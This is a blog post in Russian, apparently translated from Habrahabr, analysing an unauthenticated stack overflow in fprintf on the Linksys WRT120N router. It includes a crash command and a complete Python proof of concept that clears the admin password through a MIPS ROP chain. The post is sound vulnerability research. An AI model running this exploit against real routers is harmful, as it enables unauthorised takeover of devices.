{"id":213205,"date":"2014-02-19T20:00:02","date_gmt":"2014-02-19T16:00:02","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=213205"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=213205","title":{"rendered":"<span class=\"post_title\">\u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u044f\u0435\u043c \u0441\u0442\u0435\u043a \u0432 fprintf \u043d\u0430 Linksys WRT120N<\/span>"},"content":{"rendered":"<div class=\"content html_format\">       \u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043c\u044b <a href=\"http:\/\/habrahabr.ru\/post\/213191\/\">\u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443<\/a> \u0438 <a href=\"http:\/\/www.devttys0.com\/2014\/02\/re-enabling-jtag-and-debugging-the-wrt120n\/\">JTAG-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443<\/a>, \u043d\u0430\u0441\u0442\u0430\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u043a\u0430\u043a\u0438\u0435-\u043d\u0438\u0431\u0443\u0434\u044c \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0431\u0430\u0433\u0438.<br \/>  \u041a\u0430\u043a \u043c\u044b \u0443\u0437\u043d\u0430\u043b\u0438 \u0440\u0430\u043d\u044c\u0448\u0435, WRT120N \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 RTOS. \u0412 \u0446\u0435\u043b\u044f\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0439 WEB-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 RTOS \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 HTTP Basic authentication:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/fb4\/93b\/e74\/fb493be745135cca0d4491917f21d46f.png\" alt=\"image\"\/><\/p>\n<p>  \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044e, \u043d\u043e \u0435\u0441\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u044f\u0432\u043d\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0442 \u0435\u0435:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/7ed\/135\/b57\/7ed135b5702de0ca31af41d1f37ed130.png\" alt=\"image\"\/><\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/934\/da3\/72e\/934da372e718395bd5653a1945b8f5b6.png\" alt=\"image\"\/><\/p>\n<p>  \u041b\u044e\u0431\u043e\u0439 \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u044d\u0442\u0438 URL \u0431\u0443\u0434\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u044d\u0442\u043e \u0445\u043e\u0440\u043e\u0448\u0435\u0435 \u043c\u0435\u0441\u0442\u043e \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0431\u0430\u0433\u043e\u0432.<\/p>\n<p>  \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0437 \u044d\u0442\u0438\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442 \u043d\u0430 \u0441\u0430\u043c\u043e\u043c \u0434\u0435\u043b\u0435, \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u044e\u0442, \u043d\u043e \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u0434\u0435\u043b\u0430\u044e\u0442 (NULL-\u0444\u0443\u043d\u043a\u0446\u0438\u0438). \u041e\u0434\u043d\u0430\u043a\u043e, \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 \/cgi\/tmUnBlock.cgi \u0438\u043c\u0435\u0435\u0442 \u043a\u0430\u043a\u043e\u0439-\u0442\u043e \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435:<br \/>  <a href=\"http:\/\/www.devttys0.com\/wp-content\/uploads\/2014\/02\/cgi_tmUnblock.png\"><img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/56c\/81b\/4ab\/56c81b4abc3901f5308ca1b7e0cf6966.png\" alt=\"image\"\/><\/a><a name=\"habracut\"><\/a><\/p>\n<p>  \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0439 \u043a\u0443\u0441\u043e\u043a \u043a\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0441\u043b\u0435\u0434\u0443\u0435\u0442 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u2014 \u0432\u043e\u0442 \u044d\u0442\u043e\u0442 \u0432\u043e\u0442:  <\/p>\n<pre><code>fprintf(request-&gt;socket, &quot;Location %s\\n\\n&quot;, GetWebParam(cgi_handle, &quot;TM_Block_URL&quot;));<\/code><\/pre>\n<p>  \u0425\u043e\u0442\u044c \u0438 \u043d\u0430 \u043f\u0435\u0440\u0432\u044b\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u043e\u043d \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043f\u043e\u0440\u044f\u0434\u043e\u0447\u043d\u044b\u043c, \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0430 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 <i>TM_Block_URL<\/i> POST-\u0437\u0430\u043f\u0440\u043e\u0441\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u0430 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0443 \u0432 \u0438\u043c\u043f\u043b\u0435\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 <i>fprintf<\/i>:<br \/>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/40c\/432\/530\/40c432530f7dcf589a5c813d8274b458.png\" alt=\"image\"\/><\/p>\n<p>  \u0414\u0430, <i>fprintf<\/i> \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 <i>vsprintf<\/i> \u0441 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u043c \u0438 \u0430\u0440\u0433\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u0438 \u0441\u043a\u043b\u0430\u0434\u044b\u0432\u0430\u0435\u043c \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 \u0431\u0443\u0444\u0435\u0440, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u0439 256 \u0431\u0430\u0439\u0442\u0430\u043c\u0438.<br \/>  <a href=\"http:\/\/natashenka.ca\/wp-content\/uploads\/2014\/01\/sprintf8x11.png\"><img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/a74\/666\/51b\/a7466651b37ca2629fcd11483a5ccfc4.png\" alt=\"image\"\/><\/a><br \/>  <i>\u0423\u0432\u0430\u0436\u0430\u0439 \u0441\u0435\u0431\u044f. \u041d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439 sprintf.<\/i><\/p>\n<p>  \u042d\u0442\u043e \u0437\u043d\u0430\u0447\u0438\u0442, \u0447\u0442\u043e POST-\u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <i>TM_Block_URL<\/i> \u0432\u044b\u0437\u043e\u0432\u0435\u0442 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u0442\u0435\u043a\u0430 \u0432 <i>fprintf<\/i>, \u0435\u0441\u043b\u0438 \u043e\u043d \u0431\u0443\u0434\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 246 \u0431\u0430\u0439\u0442\u043e\u0432 (sizeof(buf) \u2013 strlen(\u201cLocation: \u201c)):  <\/p>\n<pre><code>$ wget --post-data=&quot;period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print &quot;A&quot;x254')&quot; http:\/\/192.168.1.1\/cgi-bin\/tmUnBlock.cgi<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/693\/7dc\/876\/6937dc876b44d0716cf748d177642513.png\" alt=\"image\"\/><br \/>  <i>\u0421\u0442\u0435\u043a\u0442\u0440\u0435\u0439\u0441 \u043f\u0430\u0434\u0435\u043d\u0438\u044f<\/i><\/p>\n<p>  \u0421\u0434\u0435\u043b\u0430\u0435\u043c-\u043a\u0430 \u043f\u0440\u043e\u0441\u0442\u0435\u043d\u044c\u043a\u0438\u0439 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0432 \u043f\u0430\u043c\u044f\u0442\u0438, \u043d\u0443, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x81544AF0:<br \/>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/af4\/c5e\/cd9\/af4c5ecd9c80c61fefac5e6cb6d68a31.png\" alt=\"image\"\/><\/p>\n<p>  \u041f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u043e\u0439 NULL-terminated \u0441\u0442\u0440\u043e\u043a\u043e\u0439, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0435\u0441\u043b\u0438 \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0432\u0441\u0435\u0433\u043e \u043b\u0438\u0448\u044c \u043e\u0434\u0438\u043d NULL \u0431\u0430\u0439\u0442 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443, \u0442\u043e \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u043c \u0437\u0430\u043b\u043e\u0433\u0438\u043d\u0438\u0442\u044c\u0441\u044f \u0432 \u0440\u043e\u0443\u0442\u0435\u0440 \u0441 \u043f\u0443\u0441\u0442\u044b\u043c \u043f\u0430\u0440\u043e\u043b\u0435\u043c. \u041d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0443\u0431\u0435\u0434\u0438\u0442\u044c\u0441\u044f, \u0447\u0442\u043e \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442 \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043f\u043e\u0441\u043b\u0435 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430.<\/p>\n<p>  \u0415\u0441\u043b\u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u043a\u043e\u043d\u0435\u0446 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 <i>fprintf<\/i>, \u043c\u043e\u0436\u043d\u043e \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u0447\u0442\u043e \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u044b $ra \u0438 $s0 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0438\u0437 \u0441\u0442\u0435\u043a\u0430, \u0437\u043d\u0430\u0447\u0438\u0442, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u044d\u0442\u0438\u043c\u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u043c\u0438, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u044f\u0435\u043c \u0441\u0442\u0435\u043a:<br \/>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/a77\/09f\/42d\/a7709f42d2f5d5dedb29f6ee6c9f180a.png\" alt=\"image\"\/><\/p>\n<p>  \u0415\u0441\u0442\u044c \u0435\u0449\u0435 \u043e\u0442\u043b\u0438\u0447\u043d\u044b\u0439 \u043a\u0443\u0441\u043e\u043a \u043a\u043e\u0434\u0430 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x8031F634, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 4 NULL-\u0431\u0430\u0439\u0442\u0430 \u0438\u0437 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430 $zero \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 \u0432 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0435 $s0.<br \/>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/a4e\/98a\/030\/a4e98a030f6e02c65364d29b690967e2.png\" alt=\"image\"\/><\/p>\n<p>  \u0415\u0441\u043b\u0438 \u043c\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0442\u0430\u043a, \u0447\u0442\u043e\u0431\u044b <i>fprintf<\/i> \u0432\u0435\u0440\u043d\u0443\u043b\u0441\u044f \u043d\u0430 0x8031F634 \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043b $s0 \u0430\u0434\u0440\u0435\u0441\u043e\u043c \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c \u043f\u0430\u0440\u043e\u043b\u0435\u043c (0x81544AF0), \u0442\u043e\u0433\u0434\u0430 \u044d\u0442\u043e\u0442 \u043a\u043e\u0434 \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435:  <\/p>\n<ul>\n<li>\u0421\u0431\u0440\u043e\u0441\u0438\u043b \u043f\u0430\u0440\u043e\u043b\u044c \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430<\/li>\n<li>\u0412\u043e\u0437\u0432\u0440\u0430\u0442\u0438\u0442\u0441\u044f \u043d\u0430 \u0430\u0434\u0440\u0435\u0441 \u0432\u043e\u0437\u0432\u0440\u0430\u0442\u0430 \u0438\u0437 \u0441\u0442\u0435\u043a\u0430 (\u0430 \u043c\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c \u0441\u0442\u0435\u043a)<\/li>\n<li>\u0414\u043e\u0431\u0430\u0432\u0438\u0442 16 \u043a \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044e \u0441\u0442\u0435\u043a\u0430<\/li>\n<\/ul>\n<p>  \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0439 \u043f\u0443\u043d\u043a\u0442 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u043e\u0439. \u041d\u0430\u043c \u043d\u0443\u0436\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u043b\u0430 \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u0438 \u043d\u0435 \u0443\u043f\u0430\u043b\u0430, \u043d\u043e \u0435\u0441\u043b\u0438 \u043c\u044b \u043f\u0440\u043e\u0441\u0442\u043e \u0432\u0435\u0440\u043d\u0435\u043c\u0441\u044f \u0432 \u0444\u0443\u043d\u043a\u0446\u0438\u044e <i>cgi_tmUnBlock<\/i> \u043a\u0430\u043a <i>fprintf<\/i> \u0438 \u0441\u0434\u0435\u043b\u0430\u043b \u0431\u044b, \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0441\u043c\u0435\u0449\u0435\u043d\u0438\u0435 \u0441\u0442\u0435\u043a\u0430 \u043d\u0430 16 \u0431\u0430\u0439\u0442.<\/p>\n<p>  \u041d\u0430\u0439\u0442\u0438 \u043f\u0440\u0438\u0433\u043e\u0434\u043d\u044b\u0439 \u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044e MIPS ROP gadget (\u043f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043e\u0431\u0440\u0430\u0442\u043d\u043e-\u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u0440\u0438\u043c. \u043f\u0435\u0440.), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443\u043c\u0435\u043d\u044c\u0448\u0430\u0435\u0442 \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c \u0441\u0442\u0435\u043a\u0430 \u043d\u0430 16 \u0431\u0430\u0439\u0442 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430\u0442\u0438\u0447\u043d\u043e, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u043f\u043e\u0439\u0434\u0435\u043c \u0434\u0440\u0443\u0433\u0438\u043c \u043f\u0443\u0442\u0435\u043c.<\/p>\n<p>  \u0415\u0441\u043b\u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u043d\u0430 \u0430\u0434\u0440\u0435\u0441, \u0433\u0434\u0435 <i>fprintf<\/i> \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u043b \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u0432 <i>cgi_tmUnblock<\/i>, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0443\u0432\u0438\u0434\u0435\u0442\u044c, \u0447\u0442\u043e \u0432\u0441\u0435 \u0447\u0442\u043e \u043e\u043d \u0442\u0430\u043c \u0434\u0435\u043b\u0430\u0435\u0442, \u044d\u0442\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442 $ra, $s1 \u0438 $s0 \u0438\u0437 \u0441\u0442\u0435\u043a\u0430, \u0437\u0430\u0442\u0435\u043c \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 0\u00d760 \u043a \u0443\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044e \u0441\u0442\u0435\u043a\u0430:<br \/>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/58d\/1f2\/13e\/58d1f213e0c49b997b1620e58980132a.png\" alt=\"image\"\/><\/p>\n<p>  \u041a\u043e\u043d\u0435\u0447\u043d\u043e, \u043d\u0435\u0442 \u0442\u0430\u043a\u0438\u0445 gadgets, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0431\u044b \u0438\u043c\u0435\u043d\u043d\u043e \u044d\u0442\u043e \u0438 \u0434\u0435\u043b\u0430\u043b\u0438, \u043d\u043e \u0435\u0441\u0442\u044c \u043d\u0435\u043f\u043b\u043e\u0445\u043e\u0439 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 0x803471B8, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043f\u043e\u0445\u043e\u0436:<br \/>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/4b6\/d91\/283\/4b6d91283c9051562e24ae45c72d7860.png\" alt=\"image\"\/><\/p>\n<p>  \u042d\u0442\u043e\u0442 gadget \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u043a \u0441\u0442\u0435\u043a\u0443 \u0442\u043e\u043b\u044c\u043a\u043e 0\u00d710, \u043d\u043e \u044d\u0442\u043e \u043d\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430. \u041c\u044b \u0441\u0434\u0435\u043b\u0430\u0435\u043c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 stack frames, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u0441\u0442\u0430\u0432\u044f\u0442 ROP gadget \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f \u0441\u0430\u043c\u0443 \u0432 \u0441\u0435\u0431\u044f 5 \u0440\u0430\u0437. \u041d\u0430 \u043f\u044f\u0442\u043e\u0439 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u0438, \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b\u044c\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f $ra, $s1 \u0438 $s0, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u044b \u043f\u0435\u0440\u0435\u0434\u0430\u0432\u0430\u043b\u0438 \u0432 <i>cgi_tmUnblock<\/i>, \u0431\u0443\u0434\u0443\u0442 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u044b \u0438\u0437 \u0441\u0442\u0435\u043a\u0430, \u0438 \u043d\u0430\u0448 ROP gadget \u0432\u0435\u0440\u043d\u0435\u0442\u0441\u044f \u043a caller&#8217;\u0443 <i>cgi_tmUnblock<\/i>:<br \/>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/bd1\/afd\/975\/bd1afd975c0a6eb481f5911ed676653b.gif\" alt=\"image\"\/><\/p>\n<p>  \u0421 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u044b\u043c\u0438 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f\u043c\u0438 \u0432 \u0441\u0442\u0435\u043a\u0435 \u0438 \u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0430\u0445, \u0441\u0438\u0441\u0442\u0435\u043c\u0430 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0438\u0442 \u0440\u0430\u0431\u043e\u0442\u0443 \u043a\u0430\u043a \u043d\u0438 \u0432 \u0447\u0435\u043c \u043d\u0435 \u0431\u044b\u0432\u0430\u043b\u043e. \u0412\u043e\u0442 \u0432\u0430\u043c PoC (<a href=\"https:\/\/github.com\/devttys0\/wrt120n\/blob\/master\/exploits\/clear-admin-password.py\">\u0441\u043a\u0430\u0447\u0430\u0442\u044c<\/a>):  <\/p>\n<pre><code>import sys import urllib2   try:     target = sys.argv[1] except IndexError:     print &quot;Usage: %s &lt;target ip&gt;&quot; % sys.argv[0]     sys.exit(1)   url = target + '\/cgi-bin\/tmUnblock.cgi' if ':\/\/' not in url:     url = 'http:\/\/' + url   post_data = &quot;period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=&quot; post_data += &quot;B&quot; * 246                  # Filler post_data += &quot;\\x81\\x54\\x4A\\xF0&quot;         # $s0, address of admin password in memory post_data += &quot;\\x80\\x31\\xF6\\x34&quot;         # $ra post_data += &quot;C&quot; * 0x28                 # Stack filler post_data += &quot;D&quot; * 4                    # ROP 1 $s0, don't care post_data += &quot;\\x80\\x34\\x71\\xB8&quot;         # ROP 1 $ra (address of ROP 2) post_data += &quot;E&quot; * 8                    # Stack filler   for i in range(0, 4):     post_data += &quot;F&quot; * 4                # ROP 2 $s0, don't care     post_data += &quot;G&quot; * 4                # ROP 2 $s1, don't care     post_data += &quot;\\x80\\x34\\x71\\xB8&quot;     # ROP 2 $ra (address of itself)     post_data += &quot;H&quot; * (4-(3*(i\/3)))    # Stack filler; needs to be 4 bytes except for the                                         # last stack frame where it needs to be 1 byte (to                                         # account for the trailing &quot;\\n\\n&quot; and terminating                                         # NULL byte)   try:     req = urllib2.Request(url, post_data)     res = urllib2.urlopen(req) except urllib2.HTTPError as e:     if e.code == 500:         print &quot;OK&quot;     else:         print &quot;Received unexpected server response:&quot;, str(e) except KeyboardInterrupt:     pass<\/code><\/pre>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/getpro\/habr\/post_images\/1d8\/36a\/e0e\/1d836ae0ecef8241ca65672ad64671e5.png\" alt=\"image\"\/><\/p>\n<p>  \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0442\u043e\u0436\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e, \u043d\u043e \u043e\u0431 \u044d\u0442\u043e\u043c \u043a\u0430\u043a-\u043d\u0438\u0431\u0443\u0434\u044c \u0432 \u0434\u0440\u0443\u0433\u043e\u0439 \u0440\u0430\u0437.   \t<\/p>\n<div class=\"clear\"><\/div>\n<\/p><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/post\/213205\/\"> http:\/\/habrahabr.ru\/post\/213205\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"content html_format\">       \u041f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u043c\u044b <a href=\"http:\/\/habrahabr.ru\/post\/213191\/\">\u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u043d\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443<\/a> \u0438 <a href=\"http:\/\/www.devttys0.com\/2014\/02\/re-enabling-jtag-and-debugging-the-wrt120n\/\">JTAG-\u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0443<\/a>, \u043d\u0430\u0441\u0442\u0430\u043b\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u043a\u0430\u043a\u0438\u0435-\u043d\u0438\u0431\u0443\u0434\u044c 